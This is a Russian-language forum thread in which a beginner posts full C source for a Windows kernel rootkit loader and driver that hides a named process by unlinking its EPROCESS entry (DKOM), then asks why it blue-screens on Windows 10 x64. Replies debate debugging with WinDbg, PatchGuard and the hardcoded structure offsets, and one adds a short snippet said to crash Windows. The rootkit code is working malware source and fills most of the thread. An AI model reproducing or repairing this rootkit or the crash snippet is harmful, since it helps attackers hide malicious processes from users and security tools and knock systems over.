Возникает BSOD

Тема в разделе "WASM.BEGINNERS", создана пользователем oooimj, 3 мар 2018.

  1. oooimj

    oooimj New Member

    Публикаций:
    0
    Регистрация:
    3 мар 2018
    Сообщения:
    2
    Доброго времени суток форумчанам!

    Компилирую код:

    Код (C):
    1. #include <stdio.h>
    2. #include <stdlib.h>
    3. #include <windows.h>
    4. #include <string.h>
    5.  
    6. #define SERVICE "Rootkit"
    7. #define DEVICE "\\\\.\\Rootkit"
    8. #define DRIVER "c:\\\\Windows\\Rootkit.sys"
    9.  
    10. // IRP rootkit()
    11. #define IRP_CODE_HIDE 0x815
    12.  
    13.  
    14.  
    15.  
    16. int main(int argc, char *args[]) {
    17.     printf("Usage : loader.exe <process name>");
    18.     if (argc != 2) {
    19.         return 0;
    20.     }
    21.  
    22.     SC_HANDLE hSCManager;
    23.     SC_HANDLE hService;
    24.     HANDLE hDevice;
    25.     BOOLEAN b;
    26.     ULONG r;
    27.  
    28.     if ((hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)) == NULL)
    29.         return GetLastError();
    30.  
    31.     if ((hService = OpenService(hSCManager, TEXT(SERVICE), SERVICE_ALL_ACCESS)) == NULL) {
    32.         DWORD error = GetLastError();
    33.         if (error = ERROR_SERVICE_DOES_NOT_EXIST) {
    34.             if ((hService = CreateService(
    35.                 hSCManager,
    36.                 TEXT(SERVICE),
    37.                 TEXT(SERVICE),
    38.                 SC_MANAGER_ALL_ACCESS,
    39.                 SERVICE_KERNEL_DRIVER,
    40.                 SERVICE_DEMAND_START,
    41.                 SERVICE_ERROR_IGNORE,
    42.                 TEXT(DRIVER),
    43.                 NULL, NULL, NULL, NULL, NULL)) == NULL)
    44.                 return GetLastError();
    45.  
    46.             if (StartService(hService, 0, NULL) == FALSE)
    47.                 return GetLastError();
    48.         }
    49.         else {
    50.             return error;
    51.         }
    52.     }
    53.  
    54.     // open Device
    55.     if ((hDevice = CreateFile(
    56.         TEXT(DEVICE),
    57.         GENERIC_READ | GENERIC_WRITE,
    58.         0,
    59.         NULL,
    60.         OPEN_EXISTING,
    61.         FILE_ATTRIBUTE_NORMAL,
    62.         NULL)) == INVALID_HANDLE_VALUE)
    63.         return GetLastError();
    64.  
    65.     char* inputBuffer = args[1];
    66.     printf(" rootkit( %s )", inputBuffer);
    67.     b = DeviceIoControl(
    68.         hDevice,
    69.         IRP_CODE_HIDE,
    70.         inputBuffer,
    71.         (DWORD) strlen(inputBuffer) + 1,
    72.         NULL,
    73.         0,
    74.         &r,
    75.         NULL
    76.         );
    77.  
    78.     if (!b)
    79.         return GetLastError();
    80.  
    81.     CloseHandle(hDevice);
    82.     CloseServiceHandle(hService);
    83.     CloseServiceHandle(hSCManager);
    84.     return 0;
    85. }
    Код (C):
    1. #include <stdio.h>
    2. #include <stdlib.h>
    3. #include <ntddk.h>
    4. #include <winapifamily.h>
    5.  
    6. #include "header.h"
    7.  
    8. UNICODE_STRING ntRootkit;
    9. UNICODE_STRING dosRootkit;
    10.  
    11. DRIVER_INITIALIZE DriverEntry;
    12. DRIVER_UNLOAD DriverUnload;
    13. DRIVER_DISPATCH IRP_create_close;
    14. DRIVER_DISPATCH IRP_control;
    15. VOID rookit(char *proc);
    16.  
    17. NTSTATUS DriverEntry(PDRIVER_OBJECT  pDriverObject, PUNICODE_STRING RegistryPath)
    18. {
    19.     UNREFERENCED_PARAMETER(RegistryPath);
    20.     KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[+] rootkit : DriverEntry\n"));
    21.     NTSTATUS status;
    22.     PDEVICE_OBJECT pdeviceObject = NULL;
    23.     RtlInitUnicodeString(&ntRootkit, NT_DEVICE_NAME);
    24.     RtlInitUnicodeString(&dosRootkit, DOS_DEVICE_NAME);
    25.  
    26.     status = IoCreateDevice(
    27.         pDriverObject,
    28.         0,
    29.         &ntRootkit,
    30.         FILE_DEVICE_UNKNOWN,
    31.         FILE_DEVICE_SECURE_OPEN,
    32.         FALSE,
    33.         &pdeviceObject);
    34.  
    35.     if (!NT_SUCCESS(status)) {
    36.         return status;
    37.     }
    38.  
    39.     pDriverObject->MajorFunction[IRP_MJ_CREATE] = IRP_create_close;
    40.     pDriverObject->MajorFunction[IRP_MJ_CLOSE] = IRP_create_close;
    41.     pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IRP_control;
    42.     pDriverObject->DriverUnload = DriverUnload;
    43.  
    44.     status = IoCreateSymbolicLink(&dosRootkit, &ntRootkit);
    45.  
    46.     if (!NT_SUCCESS(status)) {
    47.         IoDeleteDevice(pdeviceObject);
    48.         return status;
    49.     }
    50.  
    51.     KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[+] rootkit : ALL RIGHT (^o^)!!!!\n"));
    52.     return status;
    53. }
    54.  
    55. VOID DriverUnload(PDRIVER_OBJECT  pDriverObject) {
    56.     UNREFERENCED_PARAMETER(pDriverObject);
    57.     IoDeleteSymbolicLink(&dosRootkit);
    58.     IoDeleteDevice(pDriverObject->DeviceObject);
    59.     KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[+] rootkit : DriverUnload\n"));
    60. }
    61.  
    62. NTSTATUS IRP_create_close(PDEVICE_OBJECT pdeviceObject, PIRP irp) {
    63.     UNREFERENCED_PARAMETER(pdeviceObject);
    64.     NTSTATUS status = STATUS_SUCCESS;
    65.     irp->IoStatus.Status = STATUS_SUCCESS;
    66.     irp->IoStatus.Information = 0;
    67.     return status;
    68. }
    69.  
    70. NTSTATUS IRP_control(PDEVICE_OBJECT pdeviceObject, PIRP irp) {
    71.     UNREFERENCED_PARAMETER(pdeviceObject);
    72.     NTSTATUS status = STATUS_SUCCESS;
    73.     PIO_STACK_LOCATION  irpSp;
    74.     ULONG               inBufLength, outBufLength, code;
    75.     PCHAR               inBuf;
    76.  
    77.     irpSp = IoGetCurrentIrpStackLocation(irp);
    78.     inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
    79.     outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
    80.     code = irpSp->Parameters.DeviceIoControl.IoControlCode;
    81.  
    82.     switch (code)
    83.     {
    84.     case IRP_CODE_HIDE:
    85.         inBuf = irp->AssociatedIrp.SystemBuffer;
    86.         irp->IoStatus.Information = strlen(inBuf);
    87.         KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[+] incoming IRP : %s", inBuf));
    88.  
    89.         // call rootkit()
    90.         rookit(inBuf);
    91.         break;
    92.     default:
    93.         status = STATUS_INVALID_DEVICE_REQUEST;
    94.         KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[-] Error : STATUS_INVALID_DEVICE_REQUEST\n"));
    95.         break;
    96.     }
    97.     return status;
    98. }
    99.  
    100. VOID rookit(char *proc) {
    101.     PEPROCESS cEProcess = (PEPROCESS)PsGetCurrentProcess(), origEProcess = cEProcess;
    102.     PLIST_ENTRY cActiveProcessLinks;
    103.     PUCHAR cImageFileName;
    104.     PUINT32 cPid;
    105.  
    106.     do {
    107.         cImageFileName = (PUCHAR)((DWORD64)cEProcess + ImageFileName);
    108.         cPid = (PUINT32)((DWORD64)cEProcess + UniqueProcessId);
    109.         cActiveProcessLinks = (PLIST_ENTRY)((DWORD64)cEProcess + ActiveProcessLinks);
    110.         cEProcess = (PEPROCESS)((DWORD64)cActiveProcessLinks->Flink - ActiveProcessLinks);
    111.  
    112.         if (!strcmp((const char*)cImageFileName, TEXT(proc))) {
    113.  
    114.             // DKOM Eprocess Routine
    115.             *((PDWORD64)cActiveProcessLinks->Blink) = (DWORD64)cActiveProcessLinks->Flink;
    116.             *((PDWORD64)(cActiveProcessLinks->Flink) + 1) = (DWORD64)cActiveProcessLinks->Blink;
    117.  
    118.             // Loop on process hidden (avoiding BSOD)
    119.             cActiveProcessLinks->Blink = (PLIST_ENTRY)&cActiveProcessLinks->Flink;
    120.             cActiveProcessLinks->Flink = (PLIST_ENTRY)&cActiveProcessLinks->Flink;
    121.  
    122.             KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[+] %s say goodbye :)\n", proc));
    123.         }
    124.     } while ((DWORD64)origEProcess != (DWORD64)cEProcess);
    125. }
    header:

    Код (Text):
    1. #define UniqueProcessId 0x2e8        //    pid
    2. #define ActiveProcessLinks 0x2f0    //    _list_entry [Flink, Blink]
    3. #define ImageFileName 0x450            //    file name
    4.  
    5. // IOCTL config
    6. #define SIOCTL_TYPE 40000
    7. #define IRP_CODE_HIDE 0x900 // rootkit()
    8. #define IOCTL_SIOCTL_METHOD_BUFFERED CTL_CODE(SIOCTL_TYPE, IRP_CODE_HIDE, METHOD_BUFFERED, FILE_ANY_ACCESS)
    9.  
    10. // ALIAS
    11. #define NT_DEVICE_NAME L"\\Device\\rootkitdkom"
    12. #define DOS_DEVICE_NAME L"\\DosDevices\\rootkitdkom"
    13.  
    в драйвере возникает bsod, система падает. windows 10 64. Почему такое происходит?
     
    yashechka нравится это.
  2. yashechka

    yashechka Ростовский фанат Нарвахи

    Публикаций:
    90
    Регистрация:
    2 янв 2012
    Сообщения:
    1.449
    Адрес:
    Россия
    А Вы малый дамп ядра делали? Отладчиком открывали?
     
    Indy_ нравится это.
  3. RET

    RET Well-Known Member

    Публикаций:
    17
    Регистрация:
    5 янв 2008
    Сообщения:
    789
    Адрес:
    Jabber: darksys@sj.ms
    Еще раз без комментов, уже было, шадов - жуть :) вот Бсод и БСОД ;)
    Код (Text):
    1. static void KillWindows()
    2. {
    3.     HDC dc = CreateCompatibleDC (NULL);
    4.     SetLayout (dc, LAYOUT_RTL);
    5.     ScaleWindowExtEx (dc, -2147483647 - 1, -1, 1, 1, NULL);
    6. }
     
  4. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.775
    !analyze -v
     
  5. oooimj

    oooimj New Member

    Публикаций:
    0
    Регистрация:
    3 мар 2018
    Сообщения:
    2
    я не разобрался еще как использовать дампы и отлаживать драйвер. я думал что код прост и на wasm смогут указать на ошибку.
     
  6. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.775
    oooimj,

    Тоесть вы решили собрать драйвер, который конечно же при первой сборке вывалится в синь и решили что тут будут разбирать ваш сурец. Да даже на своём коде не ищется ошибка, а сразу смотрится причина и место исключения. Не следует вам собирать драйвера, у вас не достаточный уровень знаний для этого.
     
    Mikl___ нравится это.
  7. yashechka

    yashechka Ростовский фанат Нарвахи

    Публикаций:
    90
    Регистрация:
    2 янв 2012
    Сообщения:
    1.449
    Адрес:
    Россия
    Берёте аварийный дамп, устанавливает ДебаггингТулзФорВиндовс, оттуда запускаете ВинДэБэГэ, и открывете файл дампа, ещё нужно загрузить символы, потом команду, который выше Вам дали. Также, в исходник можно поставить точку останова и отладчик прервется на ней, а с неё уже можно пошагово трассировать.
    https://habrahabr.ru/post/130213/
    https://briolidz.wordpress.com/2012/03/28/windows-driver-debugging-with-windbg-and-vmware/
    https://www.google.ru/search?q=debu...dDZAhWGECwKHYLUDMYQ_AUICygC&biw=1024&bih=646#
    Линки Вам помогут.
    https://www.google.ru/search?q=debu...VGWSwKHVtPCcUQ_AUICSgA&biw=1024&bih=646&dpr=1
     
  8. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.775
    yashechka,

    Вы наверно не понимаете. Человек собрал автоматикой драйвер, даже не свой просто попробовал собрать его и запустить. Оно конечно же упало. Он не знает матчасть, даже отладчик, ничего. Даже как открыть крэшдамп или что такое статусный код, который отобразился при падении. Вы ему советуете способы трассировки ядра. Очень уместная рекомендация :sarcastic_hand:
     
    Mikl___ нравится это.
  9. _edge

    _edge Well-Known Member

    Публикаций:
    1
    Регистрация:
    29 окт 2004
    Сообщения:
    631
    Адрес:
    Russia
    ТС уже это понял. Давайте ему хелп дадим, не могу найти, были здесь статьи про написание простейшего др-ра by Mikl. Спасибо.
     
    yashechka нравится это.
  10. Fail

    Fail Active Member

    Публикаций:
    0
    Регистрация:
    14 мар 2012
    Сообщения:
    503
    Иногда просче разбираться в чем то рабочем, а не в хеловордах через dbgprint, вот человек и просит ответ на простой вопрос) Вообще я не понимаю, что вы упрямитесь, а потом говорите, что у васма плохая репа:)

    На первый взгляд..
    Вы как я понимаю подписали тестовой подписью дров и загрузили. Но KPP в Win10 x64 защищает эту структуру, вот вы и падаете.

    ЗЫ

    Дровину не запускал - под рукой нет ВМ, может кто с форума отладит, дело 5 минут, может Инде даже:)
     
  11. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.775
    Fail,

    > Вообще я не понимаю, что вы упрямитесь, а потом говорите, что у васма плохая репа:)

    Потому что помощь оказать в данном случае невозможно, это для тс новая область знаний, на которую нужно очень много времени: изучать архитектуру(wi-internals, железячную, общие алгоритмы и прочие вещи). Разбор причины падения смысла не имеет. Даже если бы это было действительно нужно, то пришлось бы включать варю. Запуск кернел отладчика не является чем то интересным, его лучше лишний раз не трогать, это стрёмный инструмент.)
     
  12. superakira

    superakira Guest

    Публикаций:
    0
    Для ТС опасная функа VOID rookit(char *proc). Ты там берешь епроцесс и используются оффсеты для вытаскивания имен. Откуда оффсеты? Те корректны ли они для твоей системы. Норм решение - это простепать в виндбг. Поставь дебагбреаг в этой функи и стртани свой апп, чтобы он дернул через команду. Хотя проще на драйвеэнтри вызов этой функи и просто загрузи дров. там брякнеться. достепаешь на работу с епроцесс там выведи через ntdll!_EPROCESS структуру и сверь оффсеты. Либо возьми ядро с целевой ОС, загрузи иду и там в списках структур сверь офссеты просто. Но надо настроить подгрузку пдб с мс серверов. В сети инфы более чем.
     
  13. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.775
    superakira,

    Использовать хардкод(колхозить смещения структур) это очень плохой способ реализации. Тем более если тс понятия не имеет про эти структуры, это интернал ядерные обьекты, а не просто структуры в компилере, нужно понимать как это работает, иначе удачи не будет. Отладчик нужен для решения проблем, которые не резолвятся теоретически. Как следствие их можно и нужно избегать без использования отладчика.
     
  14. superakira

    superakira Guest

    Публикаций:
    0
    Indy_, отладчик нужен для новичка чтобы как миинимум потрогать все в живую) ну да, оффсеты плохо, но тс то не про это спросил)
     
    Fail нравится это.
  15. Fail

    Fail Active Member

    Публикаций:
    0
    Регистрация:
    14 мар 2012
    Сообщения:
    503
    Человек просит всего лишь ткнуть пальцем:)

    Ё-маё:) Это все равно что в автошколе предлагать еще и сопромат учить, а чё, надож знать из какой стали состоит двигатель, какое там процентное соотношение углерода и проч.:)

    Ахах:) Инде, это ребячество:)))

    Согласен, давайте еще ТС заставим парсер структуры напичать, норм))))

    Я тож сначала про них подумал, но они верные. Во всяком случае для актуальной версии ядра W10X64. Яб отладил, но ща на машине ничего нет.
     
  16. Fail

    Fail Active Member

    Публикаций:
    0
    Регистрация:
    14 мар 2012
    Сообщения:
    503
    Бррр)

    Код (Text):
    1. lkd> dt _EPROCESS
     
  17. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.775
    Fail,

    > Ахах:) Инде, это ребячество:)))

    У меня на это ушло овер 10 лет, так что я не согласен. У меня тоже есть мнение.
     
  18. Fail

    Fail Active Member

    Публикаций:
    0
    Регистрация:
    14 мар 2012
    Сообщения:
    503
    На запуск кернел отладчика???:derisive: Вы его на наручных электронных часах грузили что ли?:grin::grin:
     
  19. superakira

    superakira Guest

    Публикаций:
    0
    Fail, это детали) но thnx

    lkd? Бррр)

    Завтра может гляну, если будет время.

    10_64 - это понятие растяжимое. Нужен номер билда.
     
    Fail нравится это.
  20. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.775
    Fail,

    На изучение архитектуры и прочих вещей. Без знаний отладчик бесполезен.